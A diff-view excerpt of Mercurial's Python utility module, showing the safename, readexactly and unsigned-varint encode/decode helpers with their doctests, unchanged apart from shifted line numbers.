3483 f.write(b'%s%s at:\n' % (prefix, msg.rstrip()))
3516 for line in getstackframes(skip + 1, depth=depth):
3484 for line in getstackframes(skip + 1, depth=depth):
3517 f.write(prefix + line)
3485 f.write(prefix + line)
3518 f.flush()
3486 f.flush()
3519
3487
3520
3488
3521 # convenient shortcut
3489 # convenient shortcut
3522 dst = debugstacktrace
3490 dst = debugstacktrace
3523
3491
3524
3492
3525 def safename(f, tag, ctx, others=None):
3493 def safename(f, tag, ctx, others=None):
3526 """
3494 """
3527 Generate a name that it is safe to rename f to in the given context.
3495 Generate a name that it is safe to rename f to in the given context.
3528
3496
3529 f: filename to rename
3497 f: filename to rename
3530 tag: a string tag that will be included in the new name
3498 tag: a string tag that will be included in the new name
3531 ctx: a context, in which the new name must not exist
3499 ctx: a context, in which the new name must not exist
3532 others: a set of other filenames that the new name must not be in
3500 others: a set of other filenames that the new name must not be in
3533
3501
3534 Returns a file name of the form oldname~tag[~number] which does not exist
3502 Returns a file name of the form oldname~tag[~number] which does not exist
3535 in the provided context and is not in the set of other names.
3503 in the provided context and is not in the set of other names.
3536 """
3504 """
3537 if others is None:
3505 if others is None:
3538 others = set()
3506 others = set()
3539
3507
3540 fn = b'%s~%s' % (f, tag)
3508 fn = b'%s~%s' % (f, tag)
3541 if fn not in ctx and fn not in others:
3509 if fn not in ctx and fn not in others:
3542 return fn
3510 return fn
3543 for n in itertools.count(1):
3511 for n in itertools.count(1):
3544 fn = b'%s~%s~%s' % (f, tag, n)
3512 fn = b'%s~%s~%s' % (f, tag, n)
3545 if fn not in ctx and fn not in others:
3513 if fn not in ctx and fn not in others:
3546 return fn
3514 return fn
3547
3515
3548
3516
3549 def readexactly(stream, n):
3517 def readexactly(stream, n):
3550 '''read n bytes from stream.read and abort if less was available'''
3518 '''read n bytes from stream.read and abort if less was available'''
3551 s = stream.read(n)
3519 s = stream.read(n)
3552 if len(s) < n:
3520 if len(s) < n:
3553 raise error.Abort(
3521 raise error.Abort(
3554 _(b"stream ended unexpectedly (got %d bytes, expected %d)")
3522 _(b"stream ended unexpectedly (got %d bytes, expected %d)")
3555 % (len(s), n)
3523 % (len(s), n)
3556 )
3524 )
3557 return s
3525 return s
3558
3526
3559
3527
3560 def uvarintencode(value):
3528 def uvarintencode(value):
3561 """Encode an unsigned integer value to a varint.
3529 """Encode an unsigned integer value to a varint.
3562
3530
3563 A varint is a variable length integer of 1 or more bytes. Each byte
3531 A varint is a variable length integer of 1 or more bytes. Each byte
3564 except the last has the most significant bit set. The lower 7 bits of
3532 except the last has the most significant bit set. The lower 7 bits of
3565 each byte store the 2's complement representation, least significant group
3533 each byte store the 2's complement representation, least significant group
3566 first.
3534 first.
3567
3535
3568 >>> uvarintencode(0)
3536 >>> uvarintencode(0)
3569 '\\x00'
3537 '\\x00'
3570 >>> uvarintencode(1)
3538 >>> uvarintencode(1)
3571 '\\x01'
3539 '\\x01'
3572 >>> uvarintencode(127)
3540 >>> uvarintencode(127)
3573 '\\x7f'
3541 '\\x7f'
3574 >>> uvarintencode(1337)
3542 >>> uvarintencode(1337)
3575 '\\xb9\\n'
3543 '\\xb9\\n'
3576 >>> uvarintencode(65536)
3544 >>> uvarintencode(65536)
3577 '\\x80\\x80\\x04'
3545 '\\x80\\x80\\x04'
3578 >>> uvarintencode(-1)
3546 >>> uvarintencode(-1)
3579 Traceback (most recent call last):
3547 Traceback (most recent call last):
3580 ...
3548 ...
3581 ProgrammingError: negative value for uvarint: -1
3549 ProgrammingError: negative value for uvarint: -1
3582 """
3550 """
3583 if value < 0:
3551 if value < 0:
3584 raise error.ProgrammingError(b'negative value for uvarint: %d' % value)
3552 raise error.ProgrammingError(b'negative value for uvarint: %d' % value)
3585 bits = value & 0x7F
3553 bits = value & 0x7F
3586 value >>= 7
3554 value >>= 7
3587 bytes = []
3555 bytes = []
3588 while value:
3556 while value:
3589 bytes.append(pycompat.bytechr(0x80 | bits))
3557 bytes.append(pycompat.bytechr(0x80 | bits))
3590 bits = value & 0x7F
3558 bits = value & 0x7F
3591 value >>= 7
3559 value >>= 7
3592 bytes.append(pycompat.bytechr(bits))
3560 bytes.append(pycompat.bytechr(bits))
3593
3561
3594 return b''.join(bytes)
3562 return b''.join(bytes)
3595
3563
3596
3564
3597 def uvarintdecodestream(fh):
3565 def uvarintdecodestream(fh):
3598 """Decode an unsigned variable length integer from a stream.
3566 """Decode an unsigned variable length integer from a stream.
3599
3567
3600 The passed argument is anything that has a ``.read(N)`` method.
3568 The passed argument is anything that has a ``.read(N)`` method.
3601
3569
3602 >>> try:
3570 >>> try:
3603 ... from StringIO import StringIO as BytesIO
3571 ... from StringIO import StringIO as BytesIO
3604 ... except ImportError:
3572 ... except ImportError:
3605 ... from io import BytesIO
3573 ... from io import BytesIO
3606 >>> uvarintdecodestream(BytesIO(b'\\x00'))
3574 >>> uvarintdecodestream(BytesIO(b'\\x00'))
3607 0
3575 0
3608 >>> uvarintdecodestream(BytesIO(b'\\x01'))
3576 >>> uvarintdecodestream(BytesIO(b'\\x01'))
3609 1
3577 1
3610 >>> uvarintdecodestream(BytesIO(b'\\x7f'))
3578 >>> uvarintdecodestream(BytesIO(b'\\x7f'))
3611 127
3579 127
3612 >>> uvarintdecodestream(BytesIO(b'\\xb9\\n'))
3580 >>> uvarintdecodestream(BytesIO(b'\\xb9\\n'))
3613 1337
3581 1337
3614 >>> uvarintdecodestream(BytesIO(b'\\x80\\x80\\x04'))
3582 >>> uvarintdecodestream(BytesIO(b'\\x80\\x80\\x04'))
3615 65536
3583 65536
3616 >>> uvarintdecodestream(BytesIO(b'\\x80'))
3584 >>> uvarintdecodestream(BytesIO(b'\\x80'))
3617 Traceback (most recent call last):
3585 Traceback (most recent call last):
3618 ...
3586 ...
3619 Abort: stream ended unexpectedly (got 0 bytes, expected 1)
3587 Abort: stream ended unexpectedly (got 0 bytes, expected 1)
3620 """
3588 """
3621 result = 0
3589 result = 0
3622 shift = 0
3590 shift = 0
3623 while True:
3591 while True:
3624 byte = ord(readexactly(fh, 1))
3592 byte = ord(readexactly(fh, 1))
3625 result |= (byte & 0x7F) << shift
3593 result |= (byte & 0x7F) << shift
3626 if not (byte & 0x80):
3594 if not (byte & 0x80):
3627 return result
3595 return result
3628 shift += 7
3596 shift += 7
General Comments 0
You need to be logged in to leave comments. Login now